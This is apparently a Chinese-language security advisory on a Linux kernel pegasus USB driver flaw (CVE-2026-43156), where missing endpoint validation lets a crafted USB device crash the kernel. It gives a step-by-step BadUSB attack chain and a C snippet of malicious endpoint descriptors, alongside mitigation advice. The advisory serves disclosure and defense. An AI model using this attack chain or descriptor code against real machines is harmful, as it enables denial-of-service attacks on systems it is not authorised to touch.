IPBUF安全漏洞报告
English
CVE-2026-43156 CVSS 5.5 中危

CVE-2026-43156 Linux内核pegasus驱动端点检查缺失漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43156
漏洞类型
输入验证错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUSB DriverInput ValidationDenial of ServicePhysical Access

漏洞概述

Linux内核中的pegasus USB网络驱动程序存在安全漏洞。该驱动程序在探测设备时,直接使用硬编码的端点管道来填充URB,而未验证USB设备的端点描述符是否与驱动程序预期的类型匹配。攻击者可以通过特制的恶意USB设备,利用该漏洞触发断言失败或导致内核崩溃,从而造成系统拒绝服务。该漏洞需要本地物理访问权限(插入USB设备)且具有低权限用户即可触发。

技术细节

该漏洞位于Linux内核的`net/usb/pegasus.c`驱动文件中。在`pegasus_probe()`函数初始化设备时,代码直接使用了硬编码的端点地址(1、2、3)来创建接收数据、发送数据和状态中断的URB(USB Request Block)。具体来说,它调用`usb_rcvbulkpipe(dev, 1)`、`usb_sndbulkpipe(dev, 2)`和`usb_rcvintpipe(dev, 3)`,假设端点1是Bulk In,端点2是Bulk Out,端点3是Interrupt In。然而,驱动程序并未调用`usb_find_common_endpoints()`或类似的检查函数来验证设备描述符中的实际端点类型。如果攻击者接入一个恶意的USB设备,其描述符虽然声明存在这些端点地址,但其传输类型(如Control、Isochronous等)与驱动程序假设的Bulk或Interrupt不符,内核在后续处理这些URB时会产生逻辑错误,触发断言(assertion)或内存访问异常。这会导致内核崩溃,破坏系统可用性。修复方案引入了`pegasus_usb_ep`枚举,并在资源分配前增加了`usb_check_bulk_endpoints()`和`usb_check_int_endpoints()`验证步骤。

攻击链分析

STEP 1
步骤1:物理访问获取
攻击者获取目标系统的物理访问权限,能够插入外部USB设备。
STEP 2
步骤2:制作恶意设备
攻击者准备一个特制的USB设备(如使用BadUSB或USB开发板),修改其固件中的端点描述符,使其端点1、2、3的传输类型(如Isochronous)与pegasus驱动预期的Bulk/Interrupt类型不匹配。
STEP 3
步骤3:设备接入
将恶意USB设备插入目标Linux系统的USB端口。系统识别新设备并加载pegasus驱动程序。
STEP 4
步骤4:触发漏洞
驱动程序执行`pegasus_probe()`,由于缺少端点检查,直接使用硬编码管道处理错误的端点类型,触发内核断言或内存错误。
STEP 5
步骤5:系统崩溃
内核发生崩溃或重启,导致系统可用性丧失(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept: Malicious USB Device Descriptor * This C code snippet demonstrates how to craft a USB device descriptor * that exploits the missing endpoint validation in the pegasus driver. * Compile and run on a USB device simulator (e.g., Linux-USB Gadget). */ #include <linux/usb/ch9.h> // Define a malicious endpoint descriptor for EP1 (Assumed Bulk IN by driver) // Here we set it to Isochronous to trigger the mismatch. struct usb_endpoint_descriptor malicious_ep1 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x81, // Endpoint 1, IN direction .bmAttributes = USB_ENDPOINT_XFER_ISOC, // Mismatch: Driver expects Bulk .wMaxPacketSize = 512, .bInterval = 0, }; // Define a malicious endpoint descriptor for EP2 (Assumed Bulk OUT by driver) struct usb_endpoint_descriptor malicious_ep2 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x02, // Endpoint 2, OUT direction .bmAttributes = USB_ENDPOINT_XFER_INT, // Mismatch: Driver expects Bulk .wMaxPacketSize = 512, .bInterval = 0, }; // Define a malicious endpoint descriptor for EP3 (Assumed Interrupt IN by driver) struct usb_endpoint_descriptor malicious_ep3 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x83, // Endpoint 3, IN direction .bmAttributes = USB_ENDPOINT_XFER_BULK, // Mismatch: Driver expects Interrupt .wMaxPacketSize = 64, .bInterval = 1, }; /* * When this device is plugged into a vulnerable Linux kernel, * the pegasus driver will probe it, fail to validate these types, * and attempt to submit URBs with incorrect transfer types, * leading to a kernel panic (Assertion failure). */

影响范围

Linux Kernel (主分支及稳定分支,具体范围需参考各发行版公告)

防御指南

临时缓解措施
建议用户限制对USB端口的物理访问,仅允许可信设备接入。如需临时防护,可在系统启动时通过blacklist机制禁用pegasus驱动模块,或及时关注Linux内核官方更新并应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表